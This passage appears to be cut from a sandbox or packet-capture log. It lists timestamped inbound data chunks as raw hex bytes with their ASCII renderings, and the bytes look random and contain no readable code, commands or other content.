Ascii: kbVI73q'1'-6}FL@0{^FN>%T~jrfs6h%e=IIv-ED}C~Yr\`=yW:4}SbSYX!49NlZkK"I#H`-f%bE,Sq?>AK6C$>-iT*
2023-03-17 14:07:55 UTC	3024	IN	Data Raw: 5f bb 45 a4 83 14 d8 12 eb ae 2e 8b 86 3e 8d 46 ee fd 3d 87 3a e9 a4 8f 1f 91 28 da 73 32 c3 8c 8e 77 56 41 e8 20 37 0a be 88 5f 4c 25 fa f1 19 99 25 5c fe af 8d ea d5 be d2 b5 56 60 36 d9 5f 3c 50 31 75 32 48 04 c7 b4 67 7b db 0d fd 50 7d 42 78 fa 54 3a 79 ef aa 5b 64 7a e3 e0 82 90 bc 68 5f e7 de 01 13 70 75 5f 62 aa 27 74 87 44 ce 88 11 2a 94 88 75 ff cd 26 2d 7b a8 07 d9 9e 66 a5 ca 8a d8 5b 70 13 65 22 fd 35 c0 56 21 26 93 1e 0b 1e 0a 44 49 3d 7c 53 03 a7 ea d3 ce 99 b2 46 06 ed bf c7 bd 23 b8 59 18 19 44 4b 3b 06 8c 3a 8f 85 07 7f 27 5a 5a e1 22 91 f1 02 ea d6 39 cb f5 66 2a 3a 17 2f 02 32 eb 94 c5 3e 18 8f df 87 72 4e d6 d1 f7 d8 34 6d c5 44 8a d2 71 bd 38 9c 43 c4 31 e1 94 cf 70 1e 57 88 0b 2e 30 31 6a e6 96 ea 55 ce 2b 8b e3 d8 46 c7 b7 c3 5a 76 Data Ascii: _E.>F=:(s2wVA 7_L%%\V`6_<P1u2Hg{P}BxT:y[dzh_pu_b'tDu&-{f[pe"5V!&DI=\|SF#YDK;:'ZZ"9f:/2>rN4mDq8C1pW.01jU+FZv
2023-03-17 14:07:55 UTC	3040	IN	Data Raw: c2 e7 c1 e5 f4 14 8c 82 ed f2 1c c0 ff 99 8b 5b 4c 6d de 03 ea c7 9d 49 6d 61 42 fd f9 25 2f fa 7a 7e 81 95 f6 2f 56 97 1a 81 35 fa 88 0f 6b 1a da ba d2 18 62 83 9c 21 2a 18 6d f7 78 fb 58 6f 54 84 5d 21 91 9c 3c 12 26 b9 99 7f 81 7e e2 21 ab ec 4a 5b 47 1e 7f 9c e8 b8 7e d6 25 21 3f ba 21 c1 db 28 ed 12 2e e2 d6 a2 c6 40 8c 55 ae 0b 39 ab 42 98 15 47 d7 02 49 f1 52 f3 65 a9 c5 6c 52 e3 e9 36 2a 72 e9 16 70 b2 46 e2 20 05 57 80 d0 e6 5c 1f a2 51 a2 c1 29 f2 dd 21 be 7f ab e8 9a ed ef 2b bb 95 c7 e1 73 56 e0 35 38 1b 49 71 56 4d 6f 69 23 a4 f0 52 eb a9 85 96 8b 43 f9 c0 56 7a 72 c1 47 60 3a b2 06 e7 af fa c9 5c 9e 50 ee 38 9c 13 91 79 4a 93 53 9f 76 91 76 6b 73 e0 cf df 0e 3d 21 ac 4e 6d 4e ef ae 3c 43 ca 7d d6 14 d2 38 9e cd 01 33 3a e8 61 ed 45 01 79 fe Data Ascii: [LmImaB%/z~/V5kb!mxXoT]!<&~!J[G~%!?!(.@U9BGIRelR6rpF W\Q)!+sV58IqVMoi#RCVzrG`:\P8yJSvvks=!NmN<C}83:aEy
2023-03-17 14:07:55 UTC	3056	IN	Data Raw: d0 96 23 64 47 e5 db a0 b3 28 fb ef c2 0d 06 69 37 ef c7 2d d6 f3 67 d3 8c 13 10 4b e5 ba 0e 64 95 26 a7 1c ee 62 08 76 5c 64 49 22 04 49 1d a8 0d 21 ca dd e9 41 46 a6 e0 ab 8c e2 61 5c d1 1b ed 1d 2c c4 b2 06 53 45 af fd 71 bd c8 08 c9 df 12 ca 57 d4 ad 80 fb 2e 9f ba 54 fe a0 17 fa 1b 4b c7 cc c1 cf 3a 41 84 2e 32 d2 65 7d 07 c9 8a 69 59 25 70 a6 f0 ce 03 45 fc 54 91 22 96 fc f8 72 01 bd d3 6f 2d 67 6f ca 7c 11 ce ab 82 0c 9b b8 9a 73 1c 9a 70 7f 4c d0 91 37 d0 e5 13 7e 1f cd 65 52 2d 91 35 4a 9d 5f 2f 3e 29 a9 11 43 ec b2 df 60 3f ef 76 65 02 9c d4 89 ad af 9f 38 22 c1 bd d8 bf a9 ea 8b 30 d4 8f ad 2d 7d 4c f8 1a 02 68 36 b6 ee d2 dc 22 29 26 e0 c1 11 68 b8 b3 3d 53 3f 43 5f 49 2c 88 f1 90 35 c3 95 d3 5d 75 19 79 ae c5 19 94 39 c2 5a cf 86 2a e0 f3 af Data Ascii: #dG(i7-gKd&bv\dI"I!AFa\,SEqW.TK:A.2e}iY%pET"ro-go\|spL7~eR-5J_/>)C`?ve8"0-}Lh6")&h=S?C_I,5]uy9Z*
2023-03-17 14:07:55 UTC	3072	IN	Data Raw: 4d 4e 82 35 49 6c 02 e1 63 70 5e 42 48 30 a1 14 d8 fd 3e fe d3 f8 81 d2 48 8c d3 bc 57 be 8a 5d 99 63 ed 54 c4 05 9a 1e b1 0b 35 3a 11 ad f9 be c6 cd 97 d3 91 7e c8 19 83 1e c6 04 8a ef 9f bd d2 88 b4 69 dc 48 c5 88 f9 fb 6a 3d 65 75 3c 77 61 ea 1a 1a 18 38 5e ad 10 60 ca 43 65 38 f7 67 dc f3 6b d5 bf 0d 09 7b e2 8d c3 c0 35 c2 b9 5d 40 ab 1c 69 8d 8b a6 39 27 68 46 22 87 0d 35 ad 7c e4 57 8f 9b 29 c9 d9 44 dd 41 ee 7a 5d bd 91 77 65 c9 0f 33 a6 81 44 ee 1a ed 3b c3 22 2d 01 05 55 13 8e 4a c4 e8 8c 18 df 22 df 42 a7 2b c3 38 e4 d3 de c9 e1 81 16 67 76 87 b6 4b 71 cb 01 4a 92 58 9a d7 c2 82 ec 4d e4 7b 04 94 7d 7e da 21 92 88 4f c0 cf d1 97 54 ae df 56 c9 39 c7 90 90 a6 fe d5 83 0e 0a 73 2a d9 74 81 76 44 1b f7 9f 97 bb 1f b0 44 5b b8 e7 87 23 27 db bd 91 Data Ascii: MN5Ilcp^BH0>HW]cT5:~iHj=eu<wa8^`Ce8gk{5]@i9'hF"5\|W)DAz]we3D;"-UJ"B+8gvKqJXM{}~!OTV9s*tvDD[#'
2023-03-17 14:07:55 UTC	3088	IN	Data Raw: 01 79 79 3f 1b 8e 4f b8 81 27 d2 76 d8 57 00 44 5c 6f c3 22 ae 1d 80 8e 35 89 15 e4 a9 2f a6 87 09 4c f9 f5 d3 d6 5b 06 af 4b 6d dc 88 91 aa 22 73 a2 07 47 96 94 cc 12 fa dd 95 c4 92 c2 2f a1 d1 33 37 5b a2 8f 81 bf e9 e9 8c 54 16 59 45 e4 dd aa 61 fc 2c c2 19 45 3d 5c 6f ca 78 3a ff 2e 3d e9 a3 8e 19 aa b0 c5 13 f5 1c d5 8f d2 9e d7 ff 0a 36 eb e9 8f 7c 01 18 e1 82 b9 1e 21 c1 84 35 2f a4 93 f0 7a d1 1b 29 13 07 e1 3a cd eb 85 87 e3 f3 04 38 fb e5 86 24 71 a0 01 bd 37 34 6a d7 da 79 98 36 a7 4f 68 e5 7b 37 d8 dd 87 be 0d 5b 09 1a 62 da 8a 26 ab fa ab 51 0d 09 ef eb 40 83 9a ea bf b1 2d e2 44 48 16 55 0e b2 53 ca 13 b3 0d f1 38 92 74 6a 4e e5 cb 8b e6 de 60 81 c1 cf 3d 39 75 f2 76 da ff b2 1f 65 c9 6e 1d c4 fa cb bf 8e 7f e3 cf 2b 90 fa a9 68 bc 0b a0 78 Data Ascii: yy?O'vWD\o"5/L[Km"sG/37[TYEa,E=\ox:.=6\|!5/z):8$q74jy6Oh{7[b&Q@-DHUS8tjN`=9uven+hx
2023-03-17 14:07:55 UTC	3104	IN	Data Raw: 6c 55 c6 b4 0c 78 16 a5 60 41 6d 1d be fd a1 43 31 87 fb 88 43 39 66 16 b9 78 a8 c0 12 e3 86 d4 57 69 b7 3f f2 55 ca e5 59 b7 d4 01 1d 91 b5 be cf b1 34 cf 6e b0 5b df e7 3e 67 9d 99 0f f5 ca 79 73 cc f0 10 4e 11 58 e5 ae a8 be d6 3e 40 06 3a f3 4f 62 69 27 fd db 14 1e e4 da 2b 27 1b 10 b6 92 d8 20 6a 09 40 17 d8 50 df b1 0e cb 7b 56 ad e8 f3 8f 12 78 3f b8 21 99 79 13 15 ae 16 1a 43 cb 9b 7a ec 9c a9 cf 7b a3 ef b1 97 cb 4e 85 3d b5 5f 85 71 cd 3f 91 2c d8 ec b6 2e 21 74 40 d5 b1 27 4a c1 ce 14 6a 0d 9d 50 ed 82 8a b8 2a e5 e2 fa 98 d6 0e 5c ca b1 e5 55 e4 a6 b0 e8 56 b9 03 e9 6d 95 1a 92 bb 53 ad e4 d5 80 50 70 26 2e fc f3 6c 71 ab 68 32 f5 3d b5 3e 3f cf 63 a9 66 07 24 60 d2 f5 07 48 b8 88 d3 5b 7d 6e ac f7 b3 2b e1 0e 18 34 53 c4 a0 2b 82 e6 39 8a f0 Data Ascii: lUx`AmC1C9fxWi?UY4n[>gysNX>@:Obi'+' j@P{Vx?!yCz{N=_q?,.!t@'JjP*\UVmSPp&.lqh2=>?cf$`H[}n+4S+9
2023-03-17 14:07:55 UTC	3120	IN	Data Raw: 55 d9 be 47 37 69 19 c6 17 c1 78 55 25 2e 0b ea 21 68 50 cc 8d 97 b3 a9 97 d3 61 63 73 2a 28 1e eb 9b 56 b7 08 89 37 ef e3 f6 5e cb 68 f9 f6 47 b0 7c 18 30 00 86 58 83 b0 52 6e ba 8f ff eb c7 b8 7e c8 40 56 83 d3 a6 06 78 63 75 18 8f c3 0d 4c d6 93 bc 38 03 fa d0 e6 ed d6 e5 ed 18 d3 28 b0 6c c8 78 4c 20 08 46 88 2c 5f 1e 03 61 d0 88 ed 61 af fd 71 9a 7b 2f 47 83 5f 72 98 96 12 4f cd 39 c1 0b e7 c0 2a 00 7a 8a 96 7e f0 09 53 cf ba cc 14 cb ae 6e ff bd 84 e5 6b e1 38 1a e6 ca 32 ec 22 e2 2e 52 db 56 2d d3 c7 32 7b 8c 49 ec 27 dd c1 9f 03 d5 b1 b6 4e c8 0d cc 62 60 84 33 ef 90 12 6e 63 a6 01 15 94 33 dc 6e bd 20 f3 72 e1 28 f6 05 0e 2d b7 55 5a 2a f3 d8 37 e8 f3 3d e0 3f fd 53 55 71 36 2e 04 71 f4 ea 6e eb 01 27 10 4d 71 15 9b fa 5e 4c 26 66 5c 38 f7 34 1b Data Ascii: UG7ixU%.!hPacs(V7^hG\|0XRn~@VxcuL8(lxL F,_aaq{/G_rO9z~Snk82".RV-2{I'Nb`3nc3n r(-UZ*7=?SUq6.qn'Mq^L&f\84
2023-03-17 14:07:55 UTC	3136	IN	Data Raw: de ad 00 ef 51 95 c9 a1 82 e3 3b a4 5a 81 9b ca 12 c1 c7 76 a3 fb b8 df 3e 5f 81 3a 1e c8 57 1e 18 ed be fc 64 2d 8b f6 8d f5 b6 aa c1 05 d3 f0 11 3d f4 8c 58 74 72 b4 70 65 4e 04 5a 23 47 dc 59 60 08 bd 7d 64 46 9b 43 a3 ba a9 1a 51 bc b7 88 d3 e2 ca 1b b0 d3 cb 21 25 3c 9e 5a 0a 9e 24 24 bf 15 8b b0 d0 be 77 cd bd c5 f1 86 30 39 00 a1 ef 22 7c 3e a5 c7 28 6c df b3 b6 92 2c cb f3 ad e6 c8 ea 2c 19 0b b6 52 d9 70 52 2f 90 02 5a 3e 25 eb e2 fb 5f 15 07 95 1b 6d 87 cf ec 01 70 eb 1e a4 d4 ef 57 81 b7 03 a1 02 6c be 9c ec a4 0b fc c4 37 77 93 f0 2b 09 7f 5a cb f0 63 8a 9e 14 73 b9 aa 99 f1 db ab 56 29 ff c8 a1 9f 24 7e c7 9b e6 52 36 90 87 6a 5b 9d 0e 36 88 39 52 9f ff fc 0a 33 52 37 70 4f 4c 64 31 4b d9 de 3c 4c 79 dc e3 25 1c 97 f8 d6 08 6c a9 c8 89 3b a6 Data Ascii: Q;Zv>_:Wd-=XtrpeNZ#GY`}dFCQ!%<Z$$w09"\|>(l,,RpR/Z>%_mpWl7w+ZcsV)$~R6j[69R3R7pOLd1K<Ly%l;
2023-03-17 14:07:55 UTC	3152	IN	Data Raw: a5 ec 2c cd 0a a6 85 81 ac 9a 4d f9 39 48 6c 71 38 ce 77 7b 76 d9 f0 c9 ec 4c 5c 03 de 61 de 66 72 17 5c 57 89 40 d5 bb 97 0f 66 af d6 36 9f 44 82 9e 12 14 aa 49 c2 cc 07 21 10 a9 ef d4 66 7e 14 40 f6 b5 63 82 50 89 e6 82 ab 3e 0a de 48 6c 93 61 90 ee 1b e4 2e a2 db b2 6d d5 d8 11 90 19 11 44 98 7d 46 20 5f 0f 31 00 4d b4 6c 0d 46 61 2f 39 5b 32 ee c6 e9 d2 a8 e5 3e 8f aa c0 1c 03 5d d8 3c d0 53 ac 29 53 7b 8d e3 04 00 c2 7a 79 a3 5e 8c dc f3 50 1c 93 ab 31 fb 07 12 7e 90 33 89 69 0c 7d 49 48 f9 aa 0b f4 cd 6f 4b 89 49 99 93 28 a5 83 dc b3 15 37 91 1b 8c 74 cd 9d a8 36 f6 4f 2d e8 81 51 f5 5b d1 c0 db 54 5a 24 07 18 f6 44 ed 0f c6 0a 12 23 0b 5e e5 4d 1b 76 cd 05 7a 19 eb 55 37 aa b2 45 31 7b fb be 93 d4 5c 01 c7 f6 6d 21 cb f8 37 ae 75 b4 9e 09 dd 00 0d Data Ascii: ,M9Hlq8w{vL\afr\W@f6DI!f~@cP>Hla.mD}F _1MlFa/9[2>]<S)S{zy^P1~3i}IHoKI(7t6O-Q[TZ$D#^MvzU7E1{\m!7u
2023-03-17 14:07:55 UTC	3168	IN	Data Raw: f5 7e 4e 8e b7 3f 23 4b 6b 4c e8 5e 71 e9 59 49 d0 cc ad 73 d0 98 80 75 1b 4e 5c 66 d4 47 0f 35 f7 0b f6 c0 8b 08 86 e3 ca a4 65 89 9a 4e 52 25 ec 9e 50 55 97 86 68 95 d5 ee 5f 9b b9 50 84 2b 72 d3 f8 de 90 40 2c 13 86 a1 bb 31 6d df 1d db a6 6f 2e ef 7d 4d 6a 0b ae 85 14 87 61 75 31 7c 59 98 84 66 f5 50 c0 f8 da bb 2b 5a ff 1c 9f 6e 4c 9f 83 45 24 a2 90 7d c5 9b a9 d1 1a 7d 6e 0c 50 63 9b ef 10 d7 41 a7 12 8b 5c 14 bc 09 e4 1e 5b e1 52 36 34 d0 f3 e7 4b e3 14 73 e1 aa 44 37 cb d8 7c c9 1b 00 13 89 fd a0 ce 98 a3 12 56 64 50 35 85 4e 07 13 f0 df ad d7 ce c0 5d 2c 62 76 90 3b e6 f5 ed 90 17 fd d2 f7 a6 85 bb 8d 93 4f 1a ed e8 65 5b 88 63 5f 66 e0 03 a9 ee 37 18 e6 cf 38 ac ed dc c5 a2 b6 21 90 e9 06 1f f6 57 e9 72 3a 24 e0 b0 97 24 7e 8f f6 02 77 b5 f3 e6 Data Ascii: ~N?#KkL^qYIsuN\fG5eNR%PUh_P+r@,1mo.}Mjau1\|YfP+ZnLE$}}nPcA\[R64KsD7\|VdP5N],bv;Oe[c_f78!Wr:$$~w
2023-03-17 14:07:55 UTC	3184	IN	Data Raw: b6 aa 5f 43 3a 7a a9 f3 91 eb 43 8a 74 2d d0 f7 27 b7 44 61 43 d8 de a4 21 7f 37 bf 3f e9 48 4e 13 14 47 54 44 0d 5b 66 86 e4 a7 92 67 44 96 05 c6 8e 01 8b 4b 4a 66 f4 0c d1 e8 16 1f 33 78 2a 7e 30 55 b1 4f ba ab 01 68 c8 dd eb e3 3f 7d f8 5b 0d eb 68 4d 03 87 a6 0f c6 92 c2 59 1b 9b c8 ac 87 db d2 1b d7 cf 1d cc a1 62 9c fe 89 8a f4 a5 7e 11 9b ac 0e b6 7c f2 31 d9 72 5c c9 81 8c bb 5f 37 2c ab 38 d7 b3 56 fc c0 81 8b 3f 27 24 6e 5d 50 e1 85 78 ce 34 c5 3d 62 5b dd 73 e4 76 3f 6a 06 30 af 28 fc f7 a8 0e c1 4d cd 76 89 a6 e2 cf 44 f0 33 b5 92 71 c0 6d 72 1a 45 fe 5d 04 80 c2 b6 a4 52 41 7b 9a 45 16 d1 dd e9 99 00 13 f4 11 41 90 42 e1 06 1e 03 e9 c5 73 77 50 5b 75 f4 67 c0 d1 76 40 d1 ba 68 2e 9c de 88 4f 1e a6 bf 57 54 94 cf 0d 34 a5 9f 89 12 6c ed 8d c5 Data Ascii: _C:zCt-'DaC!7?HNGTD[fgDKJf3x*~0UOh?}[hMYb~\|1r\_7,8V?'$n]Px4=b[sv?j0(MvD3qmrE]RA{EABswP[ugv@h.OWT4l
2023-03-17 14:07:55 UTC	3200	IN	Data Raw: f8 9a fc c2 42 7c 8d f5 f6 33 ad da bc fe b1 d0 1e 2f 55 e1 bd c8 d1 56 f5 ae 34 b4 a8 25 1c 28 ee e5 c3 f9 01 33 76 66 3b 96 54 4b 55 cd 47 8a cd fe b9 c1 0e fe e6 53 6a 9c eb 77 34 b4 29 27 5f ec 40 83 a7 70 30 d9 54 ff 3a 17 07 84 fb 87 1e ea 5d a7 c5 2b ed 75 3f 3d e1 b1 52 a6 cf 05 1c 89 50 e1 d0 24 bb e3 a8 6b 05 71 83 4c 24 79 4c 9c 6e 86 b9 c2 be 9f d5 4d 3e 8c 89 6b f3 6f 3e e2 e9 74 9b 7a 0a 12 3b e5 bf 6c de f9 31 d7 d6 0b 79 fa 5d 1c 1c 2d 76 b2 63 82 83 b5 f4 3d 3b 78 a1 fe 07 58 61 b6 73 21 4f f9 14 40 f1 16 56 f7 80 68 b5 c4 a8 20 e6 4b 22 5c ab 98 c8 22 0c d1 cc d4 1e 1c 64 01 44 3a ba 6b 75 44 ce 0c 49 b5 b3 4e ce 89 a4 a3 66 32 c0 0c 2f 8f 3c d8 a8 47 af 4c e5 ad 1e 22 c7 30 62 9b a6 f6 9f e5 aa c0 18 8c 8e ce 32 44 eb dc 78 95 1f 5c e0 Data Ascii: B\|3/UV4%(3vf;TKUGSjw4)'_@p0T:]+u?=RP$kqL$yLnM>ko>tz;l1y]-vc=;xXas!O@Vh K"\"dD:kuDINf2/<GL"0b2Dx\
2023-03-17 14:07:55 UTC	3216	IN	Data Raw: c8 03 3e eb d8 9a ad d8 34 90 b2 c8 77 85 f9 95 46 00 cd 92 7a 0d b6 7f 0d ef 14 13 5c e3 a3 59 09 c7 36 9f f9 42 22 57 17 6b 17 59 7b c5 6d dd c0 2d a5 af cc e3 e7 4c 45 96 e3 4b 47 f1 31 f6 10 c7 72 9f 2b e5 20 e7 5e 4d 70 0f 40 54 fd db 67 3a 30 bb ad d2 10 e4 7c 0c 5d 2a b4 84 22 b2 b5 91 ef f5 d9 78 09 74 15 c2 08 ef 2e 65 b4 cf 69 d8 a2 75 b3 1a 20 c1 54 b6 19 fb 04 0b 06 e8 8e 9e ac b2 be 2b 66 2a a5 f1 05 51 7a 8f 06 d1 04 75 ec 43 fb dd 1d 16 95 c9 c1 b8 a9 a1 00 d2 64 7f 91 1e 68 43 2f c8 19 2f 46 8d d6 81 4f 72 f9 4d 5f 59 71 6c 7c d2 f1 14 5f f9 e8 d2 b9 53 c8 f7 8e 26 c3 7f 47 04 fd 78 e8 16 54 d5 ef ce 75 dd 58 92 a8 5e 3e c0 57 d0 f8 71 37 ab d0 9f b3 c5 35 44 07 5b f7 38 0d d1 56 2a 56 35 5b 14 9a 30 32 80 ed 9e 1c 3a 2b a3 10 a8 4b 30 33 Data Ascii: >4wFz\Y6B"WkY{m-LEKG1r+ ^Mp@Tg:0\|]"xt.eiu T+fQzuCdhC//FOrM_Yql\|_S&GxTuX^>Wq75D[8V*V5[02:+K03
2023-03-17 14:07:55 UTC	3232	IN	Data Raw: 26 19 5c 07 e0 b8 99 0d 20 6f 5d c9 21 09 99 aa 90 99 4a fe c0 bc c8 13 4b 6b 82 0c 64 19 6a 51 5a 2d 22 c3 f4 5a f8 f5 b2 f3 3b 77 d8 b8 4b 5b f2 d6 54 a6 9c 3c 44 e5 2b 57 0d 7e 6f 5a b4 09 fa d9 66 98 e7 c3 23 d3 64 a0 b7 ec c8 01 06 cc c7 ce 75 bd 7d ad e0 1e 04 56 43 86 cf 02 b3 81 1d 33 8c bf a4 39 93 fe 02 00 e8 3d 4c 51 69 b6 e2 17 e4 bb 16 8c d5 e1 a4 24 9f 35 a8 51 05 12 5d 52 2d 74 0e 81 15 7c 1b ad 96 33 5c 59 d3 c6 95 27 f1 7a 72 f7 91 9f 27 7b 66 43 46 1a 2a a4 be 8c 9d 07 59 40 dc c2 e8 fa 27 34 57 d1 28 d5 ae ff e9 18 bd f4 02 e4 07 b7 a0 24 36 26 66 93 c9 0b b0 13 58 5e b5 e7 63 fb 03 ab c2 af c4 f1 c3 5c bc 34 ba 13 c2 48 0c 06 7e 47 72 9b 63 40 f0 ee 4a d2 74 b1 75 ab de 10 95 7c 27 37 d7 95 b5 31 7b 9d 1b fa cc fa 7c d8 08 39 2c 38 e0 Data Ascii: &\ o]!JKkdjQZ-"Z;wK[T<D+W~oZf#du}VC39=LQi$5Q]R-t\|3\Y'zr'{fCF*Y@'4W($6&fX^c\4H~Grc@Jtu\|'71{\|9,8
2023-03-17 14:07:55 UTC	3248	IN	Data Raw: c9 92 a0 f9 9b 00 96 5a 27 a0 83 e0 d6 5d cd 28 ab b3 37 37 c0 ab 58 1f 7e 81 3e 61 4b 10 20 bc 09 dd d9 2c ce 68 33 88 9f e3 49 0a 08 fa e9 d7 56 dd f3 a5 fd 48 86 f2 75 53 94 c6 be 85 db bd f9 44 c7 b2 53 01 bf 99 78 0b ed c4 a3 16 56 55 be 3f 22 5d 90 48 19 60 e9 b7 4d 84 6e 5b 41 c5 1f fb cf 9a 68 23 bf f2 cb a9 7a 97 0f 4a bd 0e 6b b4 77 28 cf 88 ed f0 a0 0d 85 b0 df 85 44 d5 c0 f3 f3 0b 73 38 14 e6 f8 3e f4 26 72 00 35 24 bc 89 41 5e d3 52 1c 4b 6e 86 33 d4 69 04 44 a5 9a d6 d8 3c 23 ff 01 2b ec 2d a8 87 a7 f0 a4 8e 29 c8 3a 18 ad 0f 62 67 56 25 d7 d9 54 ad c5 1e a1 ea ca 3e df 2c 8f 7a 06 bd e1 30 68 fc 97 96 96 2e 11 79 df 3f 58 b5 d5 d4 64 df 47 b5 d1 af b9 45 b1 a4 8b 92 8f 34 75 42 85 c0 9a 01 e4 60 35 ff 60 77 76 4d 7e b4 f4 10 dd e4 63 8d df Data Ascii: Z'](77X~>aK ,h3IVHuSDSxVU?"]H`Mn[Ah#zJkw(Ds8>&r5$A^RKn3iD<#+-):bgV%T>,z0h.y?XdGE4uB`5`wvM~c
2023-03-17 14:07:55 UTC	3264	IN	Data Raw: 54 ee 2f 66 86 b2 f7 3c 67 4e 76 3b 8d ee 61 2e 30 c1 03 5a bc 86 6e 7a e8 75 33 65 ff 52 91 40 97 34 08 e7 6f 59 84 af ca f2 34 dc 40 fd 43 d8 df cd 5e 61 29 3b 12 d1 d6 3d 04 0f 46 f4 5e 4b 8f 8d 24 49 d1 46 56 40 27 5c 95 92 23 df 47 d1 6b 86 d8 b1 a6 1d e1 bd 98 cd 51 93 d6 f9 6c b6 67 07 9d 42 1f ac 26 d3 01 1e ba 4c 2f 19 01 ad b5 c7 c7 13 92 1c d8 90 ea 9c 01 0d dd 73 a3 a7 0a fb 5a 9e 3e bf d5 72 9d 7c 90 8e 81 fd 5f fb 0c dc ce f6 01 ca a1 a6 ab 0f 27 b3 e1 91 e9 15 a8 c5 49 8a 3a c9 d9 ac a3 47 67 02 1c 9d c5 ee e6 19 2d 2f c8 a6 3d ec 94 7f 21 96 ba 27 e7 ff 38 9b 50 21 61 72 27 fb 06 c8 7f d5 1d da cc 23 f7 27 06 fa dc 04 26 b8 0d 30 df 9b 61 7e f0 8d 0e 2b df f3 db 7b 5f ee 5b 9a 59 d9 d2 a5 3a 99 58 76 50 89 f2 5d 41 85 17 1e dc f4 47 cf bc Data Ascii: T/f<gNv;a.0Znzu3eR@4oY4@C^a);=F^K$IFV@'\#GkQlgB&L/sZ>r\|_'I:Gg-/=!'8P!ar'#'&0a~+{_[Y:XvP]AG
2023-03-17 14:07:55 UTC	3280	IN	Data Raw: bc bb c1 69 f1 95 e1 92 3b 55 fd 13 b7 a2 03 94 ce 26 6a 76 4a ee 50 e7 a3 26 f7 fa 50 62 ec 1b ee 02 95 f3 a3 d1 3f 4b 53 ea 3e 48 ef cd ca da cc 36 af a0 46 1a b8 d8 1c 8a 5a 72 ae 06 d0 fe 1c de d6 b1 fb 4b 45 bc 6d b7 a1 34 43 7f f7 bf 96 e7 8c 3c 15 32 26 f1 82 73 a0 f5 dd dc de d5 cf 43 82 87 87 9e 58 1d 6a 0b fb 80 3a e1 e5 f4 35 59 8d d5 88 20 f6 1f b8 4a a8 b3 6f cb 9a c0 4c 2a 8f e3 99 6e 2a f8 74 9f 24 4a 0d 9b c9 71 49 ed 4f a8 d7 77 7c d2 ca 60 cb 83 ae 88 60 8b 1d ce d6 bc 25 c8 6d 22 a6 cc ed 92 0b 6f 4c fb 5f 8a e3 7e 9a ef 16 8b b6 d7 d0 d8 04 74 65 14 7e fe 7c d3 2c 03 bc f7 ec b8 49 cd 0a 2b cf 5c ea d7 2b d6 7d c0 09 54 57 c3 54 e8 7b e2 1a 94 c5 d1 71 0c ff 65 18 44 e1 ae 9c 56 14 de 86 8b 15 9d 96 5c 11 f9 f5 b7 b9 bf f4 16 16 73 6b Data Ascii: i;U&jvJP&Pb?KS>H6FZrKEm4C<2&sCXj:5Y JoLnt$JqIOw\|``%m"oL_~te~\|,I+\+}TWT{qeDV\sk
2023-03-17 14:07:55 UTC	3296	IN	Data Raw: 62 79 5d 1a 2c 0c d0 a6 5b bf ca 90 84 1a cc 83 6f 67 bf cf f6 5f a8 c2 d8 73 ae 94 5d 28 40 95 d4 78 9f 9e 34 32 31 40 63 31 a1 b5 89 61 c3 d2 59 0e 7a 94 5b 80 55 48 7a fc a0 75 c2 d5 62 dc 53 39 fe 69 be c2 d6 f7 91 6e 76 c0 62 3a ec e7 4b 0b 46 cb 45 ab d8 a8 5f 66 82 f9 1c a7 36 90 18 18 7f 61 45 1a 31 8b 5f 1b 1a ac 6f 5a c1 28 b1 09 fa 1e 1a 5f d0 f2 3d 83 ca c9 9f ec b4 0f 4a f5 0b 61 6c 98 ca ac e3 a5 ab b3 9f d4 39 19 7b 5f 98 f0 44 18 99 4c 5b 95 d1 9a 0f a4 db 06 f0 c9 07 92 b6 70 56 b9 a6 cd e2 9a 0b c4 57 53 29 d8 ed ed 06 5b 70 94 8a 2a 5f d1 ec 5b ea df b0 b7 b3 f3 b9 1a e8 6a 9b 4b c0 92 92 98 83 13 ea 42 70 4a b3 ee 95 98 92 1e c6 ee f1 b7 f8 fa d8 12 ee c7 d1 3f 15 29 a7 85 c7 5d c9 4c 45 51 d8 40 36 2d 35 38 15 5b 7a 15 2d 30 b1 cd e2 Data Ascii: by],[og_s](@x421@c1aYz[UHzubS9invb:KFE_f6aE1_oZ(_=Jal9{_DL[pVWS)[p*_[jKBpJ?)]LEQ@6-58[z-0
2023-03-17 14:07:55 UTC	3312	IN	Data Raw: 9a 80 08 12 f1 4e ca 7a ed c8 2c 1a d0 da c0 07 f6 c7 7d cb 8a d5 a1 59 96 46 48 3b 26 7c de 7e 9a 11 41 c4 c6 39 47 ba 32 47 93 ce 29 2c cd b3 fc 32 ef ed 85 14 80 c8 d3 1b b2 a8 9d 3d a8 94 5e 0c 4b fd 42 d5 4e ef 40 cc 02 7c fc e8 ad e4 ba e5 7e db 0b 5b b8 15 82 c8 4c 04 55 f1 58 91 de 25 ba ca 3f 4d b2 43 5d 75 74 27 7a 4c c7 a7 76 65 b6 1f ac 42 28 89 2b 07 da 5f 4a 25 cc 24 ca b8 c6 b7 53 b9 4d ba 0e dd 9c 0c 09 7f ff 5b 61 ac 07 a1 90 e3 bf 5a e1 23 cb 6e 05 87 aa 1c 4c 6a 89 f0 22 77 88 a5 da 81 5b cb 47 81 92 c7 cb fa b7 13 8b 35 49 9c 38 61 98 48 b0 8e 3c 8e bc b7 2a d9 09 ca 90 00 42 8d 04 dc 73 d7 e5 7f 70 07 f2 5d 18 3b 65 e5 cd 76 d1 2f e9 76 68 cc b5 60 29 17 b1 a6 24 d0 16 93 75 c4 c5 b7 92 b2 5b ec 53 1c af 11 a8 d9 2d dc e2 d2 de c7 37 Data Ascii: Nz,}YFH;&\|~A9G2G),2=^KBN@\|~[LUX%?MC]ut'zLveB(+_J%$SM[aZ#nLj"w[G5I8aH<*Bsp];ev/vh`)$u[S-7
2023-03-17 14:07:55 UTC	3328	IN	Data Raw: 48 9f bc 40 19 32 6e 92 f9 ff 64 04 74 d2 05 30 c4 84 b0 ec 03 ef f8 6c 81 59 45 88 22 87 03 6a 49 82 2f 38 ca 00 79 3c 17 f5 d3 4b 32 a0 e5 54 8c 30 e1 84 95 c1 96 bc e0 50 8e 98 7a 12 cd ed 44 ba 49 6f cb a5 9a b9 f0 3e c8 ff 7d 17 c8 cd 12 a5 48 96 40 75 b4 8c ff 40 6a d5 23 87 6b 33 6d 13 8a 09 de c9 82 0a ae e6 42 f6 2e 92 ea 4f 14 ed a1 77 fe 29 48 bf 1f d8 8b a7 4a b5 fe ec ab d4 97 dc 25 39 2a bf 49 6d c8 bc 1a 6b 0c e6 78 bb bf f8 1b 7b 34 4b 10 77 df a9 df 51 b4 3b 03 67 b1 e3 c3 4a f5 b3 73 17 4e 46 27 b1 e2 a3 44 81 10 f2 4f cc ba de a6 eb 40 ed 7d 57 77 66 3e c9 ac c3 57 7a 84 30 3d 61 37 2c e7 c4 c7 95 e4 cc 